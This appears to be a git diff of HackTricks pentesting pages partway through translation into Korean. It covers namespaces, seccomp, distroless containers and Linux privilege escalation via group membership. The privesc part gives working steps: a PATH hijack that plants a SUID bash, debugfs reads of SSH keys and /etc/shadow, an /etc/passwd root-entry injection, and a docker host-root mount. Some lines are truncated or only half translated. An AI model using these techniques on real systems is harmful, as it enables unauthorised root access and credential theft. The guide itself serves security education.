`unshare``-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다:
1. **Problem Explanation**:
1. **문제 설명**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다.
- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash``unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다.
- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다.
2. **Consequence**:
2. **결과**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다.
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **해결책**:
- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다.
- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. 그 결과 `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare``-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;프로세스가 어떤 네임스페이스에 있는지 확인하기
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```
### Find all UTS namespaces
### 모든 UTS 네임스페이스 찾기
```bash
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an UTS namespace
### UTS 네임스페이스 내부로 들어가기
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them.
**Seccomp**는 Secure Computing mode의 약자로, **시스템 호출을 필터링하기 위해 설계된 Linux 커널의 보안 기능**입니다. 이는 프로세스를 제한된 시스템 호출 집합(`exit()`, `sigreturn()`, `read()`, 및 `write()` 이미 열린 파일 설명자에 대해)으로 제한합니다. 프로세스가 다른 호출을 시도하면 커널에 의해 SIGKILL 또는 SIGSYS로 종료됩니다. 이 메커니즘은 리소스를 가상화하지 않고 프로세스를 이들로부터 격리합니다.
There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`.
Seccomp를 활성화하는 방법은 두 가지가 있습니다: `PR_SET_SECCOMP`와 함께 `prctl(2)` 시스템 호출을 사용하거나, Linux 커널 3.17 이상에서는 `seccomp(2)` 시스템 호출을 사용하는 것입니다. `/proc/self/seccomp`에 쓰는 오래된 방법은 `prctl()`을 선호하여 더 이상 사용되지 않습니다.
An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux.
향상된 기능인 **seccomp-bpf**는 Berkeley Packet Filter (BPF) 규칙을 사용하여 사용자 정의 정책으로 시스템 호출을 필터링할 수 있는 기능을 추가합니다. 이 확장은 OpenSSH, vsftpd 및 Chrome OS와 Linux의 Chrome/Chromium 브라우저와 같은 소프트웨어에서 유연하고 효율적인 시스템 호출 필터링을 위해 활용되며, 이제 지원되지 않는 Linux의 systrace에 대한 대안을 제공합니다.
### **Original/Strict Mode**
In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL
### **원본/엄격 모드**
이 모드에서 Seccomp는 **오직 syscalls** `exit()`, `sigreturn()`, `read()``write()`를 이미 열린 파일 설명자에 대해서만 허용합니다. 다른 syscalls가 발생하면 프로세스는 SIGKILL로 종료됩니다.
```c:seccomp_strict.c
#include <fcntl.h>
#include <stdio.h>
@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read(
int main(int argc, char **argv)
{
int output = open("output.txt", O_WRONLY);
const char *val = "test";
int output = open("output.txt", O_WRONLY);
const char *val = "test";
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
printf("You will not see this message--the process will be killed first\n");
printf("You will not see this message--the process will be killed first\n");
}
```
### Seccomp-bpf
This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules.
이 모드는 **버클리 패킷 필터 규칙을 사용하여 구현된 구성 가능한 정책을 사용하여 시스템 호출을 필터링**할 수 있게 해줍니다.
```c:seccomp_bpf.c
#include <seccomp.h>
#include <unistd.h>
@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp
void main(void) {
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
}
```
## Docker에서의 Seccomp
## Seccomp in Docker
**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
You can run a docker container with a **different seccomp** policy with:
**Seccomp-bpf**는 **Docker**에서 **syscalls**를 제한하여 컨테이너의 표면적을 효과적으로 줄이는 것을 지원합니다. [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)에서 **기본적으로 차단된 syscalls**를 확인할 수 있으며, **기본 seccomp 프로필**은 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)에서 확인할 수 있습니다.\
다음과 같이 **다른 seccomp** 정책으로 도커 컨테이너를 실행할 수 있습니다:
```bash
docker run --rm \
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
```
If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\
If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\
In the following example the **syscalls** of `uname` are discovered:
컨테이너가 `uname`과 같은 **syscall**을 실행하는 것을 **금지**하려면 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)에서 기본 프로파일을 다운로드하고 **목록에서 `uname` 문자열을 제거**하면 됩니다.\
**어떤 바이너리가 도커 컨테이너 내에서 작동하지 않도록** 하려면 strace를 사용하여 바이너리가 사용하는 syscalls를 나열한 다음 이를 금지할 수 있습니다.\
다음 예제에서는 `uname`의 **syscalls**가 발견됩니다:
```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
```
> [!NOTE]
> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs
> 만약 **애플리케이션을 실행하기 위해 Docker를 사용하는 것이라면**, **`strace`**로 **프로파일링**하고 필요한 시스템 호출만 **허용**할 수 있습니다.
### Example Seccomp policy
### 예제 Seccomp 정책
[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
To illustrate Seccomp feature, lets create a Seccomp profile disabling “chmod” system call as below.
[여기에서 예제](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
Seccomp 기능을 설명하기 위해, 아래와 같이 “chmod” 시스템 호출을 비활성화하는 Seccomp 프로파일을 생성해 보겠습니다.
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
}
```
In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\
Following output shows the “chmod” call returning error because its disabled in the seccomp profile
위 프로필에서는 기본 동작을 "허용"으로 설정하고 "chmod"를 비활성화하는 블랙리스트를 생성했습니다. 더 안전하게 만들기 위해 기본 동작을 드롭으로 설정하고 시스템 호출을 선택적으로 활성화하는 화이트리스트를 생성할 수 있습니다.\
다음 출력은 seccomp 프로필에서 비활성화되어 있기 때문에 "chmod" 호출이 오류를 반환하는 것을 보여줍니다.
```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted
```
Following output shows the “docker inspect” displaying the profile:
다음 출력은 프로필을 표시하는 "docker inspect"를 보여줍니다:
```json
"SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## What is Distroless
A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components.
A distroless container is a type of container that **특정 애플리케이션을 실행하는 데 필요한 종속성만 포함**하며, 필요하지 않은 추가 소프트웨어나 도구는 포함하지 않습니다. 이러한 컨테이너는 **가볍고** **안전**하도록 설계되었으며, 불필요한 구성 요소를 제거하여 **공격 표면을 최소화**하는 것을 목표로 합니다.
Distroless containers are often used in **production environments where security and reliability are paramount**.
Distroless 컨테이너는 **보안과 신뢰성이 가장 중요한** **생산 환경**에서 자주 사용됩니다.
Some **examples** of **distroless containers** are:
@ -15,7 +15,7 @@ Some **examples** of **distroless containers** are:
## Weaponizing Distroless
The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`.
The goal of weaponize a distroless container is to be able to **임의의 바이너리와 페이로드를 실행할 수 있는 것**이며, **distroless**에 의해 암시된 **제한**(시스템에 일반적인 바이너리 부족)과 **읽기 전용** 또는 **실행 금지**와 같은 컨테이너에서 일반적으로 발견되는 보호 장치에도 불구하고 가능합니다.
### Through memory
@ -25,6 +25,6 @@ Coming at some point of 2023...
#### openssl
\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container.
\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **필요\*\* by the software that is going to be running inside the container.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
# Interesting Groups - Linux Privesc
# 흥미로운 그룹 - 리눅스 권한 상승
{{#include ../../../banners/hacktricks-training.md}}
## Sudo/Admin Groups
## Sudo/관리 그룹
### **PE - Method 1**
**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
### **PE - 방법 1**
**때때로**, **기본적으로 (또는 일부 소프트웨어가 필요하기 때문에)** **/etc/sudoers** 파일 안에서 이러한 줄을 찾을 수 있습니다:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -15,48 +14,36 @@
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
이것은 **sudo 또는 admin 그룹에 속한 모든 사용자가 sudo로 무엇이든 실행할 수 있음을 의미합니다**.
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
이 경우, **root가 되려면 다음을 실행하면 됩니다**:
```
sudo su
```
### PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하십시오:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
이진 파일 **pkexec가 SUID 이진 파일**이고 **sudo** 또는 **admin** 그룹에 속하는 경우, `pkexec`를 사용하여 sudo로 이진 파일을 실행할 수 있습니다.\
이는 일반적으로 이러한 그룹이 **polkit 정책** 내에 있기 때문입니다. 이 정책은 기본적으로 어떤 그룹이 `pkexec`를 사용할 수 있는지를 식별합니다. 다음을 사용하여 확인하십시오:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
여기에서 어떤 그룹이 **pkexec**를 실행할 수 있는지 확인할 수 있으며, 일부 리눅스 배포판에서는 기본적으로 **sudo****admin** 그룹이 나타납니다.
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
To **become root you can execute**:
**루트가 되려면 다음을 실행할 수 있습니다**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
**pkexec**를 실행하려고 시도했지만 **오류**가 발생하면:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다**. 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2개의 서로 다른 ssh 세션이 필요합니다**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
## Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**때때로**, **기본적으로** **/etc/sudoers** 파일 안에서 이 줄을 찾을 수 있습니다:
```
%wheel ALL=(ALL:ALL) ALL
```
이것은 **wheel 그룹에 속한 모든 사용자가 sudo로 모든 것을 실행할 수 있음을 의미합니다**.
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
이 경우, **root가 되려면 다음을 실행하면 됩니다**:
```
sudo su
```
## Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
**shadow** 그룹의 사용자들은 **/etc/shadow** 파일을 **읽을** 수 있습니다:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
So, read the file and try to **crack some hashes**.
해시를 **크랙**해 보세요.
## Staff Group
**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups)
In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not.
**staff**: 사용자가 루트 권한 없이 시스템에 로컬 수정을 추가할 수 있도록 허용합니다 (`/usr/local`). (`/usr/local/bin`의 실행 파일은 모든 사용자의 PATH 변수에 포함되어 있으며, 동일한 이름의 `/bin``/usr/bin`의 실행 파일을 "덮어쓸" 수 있습니다). 모니터링/보안과 더 관련된 "adm" 그룹과 비교하십시오. [\[source\]](https://wiki.debian.org/SystemGroups)
데비안 배포판에서 `$PATH` 변수는 `/usr/local/`가 우선적으로 실행된다는 것을 보여줍니다.
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -107,11 +86,7 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
If we can hijack some programs in `/usr/local`, we can easy to get root.
Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login).
`/usr/local`에 있는 일부 프로그램을 탈취할 수 있다면, 루
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -119,9 +94,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
or When a new ssh session login.
또는 새로운 ssh 세션 로그인 시.
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -134,9 +107,7 @@ $ pspy64
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
```
**Exploit**
**익스플로잇**
```bash
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
@ -155,13 +126,11 @@ $ ls -la /bin/bash
# 0x5 root it
$ /bin/bash -p
```
## Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
이 권한은 **루트 접근과 거의 동등**하며, 머신 내부의 모든 데이터에 접근할 수 있습니다.
Files:`/dev/sd[a-z][1-9]`
```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
@ -170,57 +139,47 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
debugfs를 사용하면 **파일을 쓸 수** 있다는 점에 유의하세요. 예를 들어 `/tmp/asd1.txt``/tmp/asd2.txt`로 복사하려면 다음과 같이 할 수 있습니다:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error.
그러나 **root가 소유한 파일**(예: `/etc/shadow` 또는 `/etc/passwd`)에 **쓰기**를 시도하면 "**Permission denied**" 오류가 발생합니다.
## Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
`w` 명령어를 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며, 다음과 같은 출력을 보여줍니다:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에 로그인했음을 의미합니다.
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 그렇게 하려면 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장될 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
**원시 이미지**를 **열기** 위해 **GIMP**를 사용하고 **`screen.raw`** 파일을 선택한 후 파일 형식으로 **Raw image data**를 선택할 수 있습니다:
![](<../../../images/image (463).png>)
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 화면을 더 잘 보여주는 것을 선택합니다:
![](<../../../images/image (317).png>)
## Root Group
## 루트 그룹
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
기본적으로 **루트 그룹의 구성원**은 **서비스** 구성 파일이나 일부 **라이브러리** 파일 또는 **특히 흥미로운 것들**을 **수정**할 수 있는 접근 권한이 있을 수 있습니다. 이는 권한 상승에 사용될 수 있습니다...
**루트 구성원이 수정할 수 있는 파일 확인**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Docker 그룹
## Docker Group
You can **mount the root filesystem of the host machine to an instances volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
호스트 머신의 **루트 파일 시스템을 인스턴스의 볼륨에 마운트**할 수 있으므로, 인스턴스가 시작될 때 해당 볼륨에 `chroot`를 즉시 로드합니다. 이는 사실상 머신에서 루트를 제공하는 것입니다.
```bash
docker image #Get images from the docker service
@ -232,33 +191,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
마지막으로, 이전의 제안이 마음에 들지 않거나 어떤 이유로 작동하지 않는 경우(예: docker api 방화벽?) **특권 컨테이너를 실행하고 그로부터 탈출하는** 방법을 시도할 수 있습니다. 여기에서 설명합니다:
{{#ref}}
../docker-security/
{{#endref}}
If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
docker 소켓에 대한 쓰기 권한이 있는 경우 [**docker 소켓을 악용하여 권한을 상승시키는 방법에 대한 이 게시물을 읽어보세요**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
## lxc/lxd Group
## lxc/lxd 그룹
{{#ref}}
./
{{#endref}}
## Adm Group
## Adm 그룹
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
일반적으로 **`adm`** 그룹의 **구성원**은 _/var/log/_에 위치한 **로그** 파일을 **읽을** 수 있는 권한을 가지고 있습니다.\
따라서 이 그룹 내의 사용자를 손상시킨 경우 **로그를 확인해야** 합니다.
## Auth group
## Auth 그룹
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
OpenBSD 내에서 **auth** 그룹은 일반적으로 사용되는 경우 _**/etc/skey**__**/var/db/yubikey**_ 폴더에 쓸 수 있습니다.\
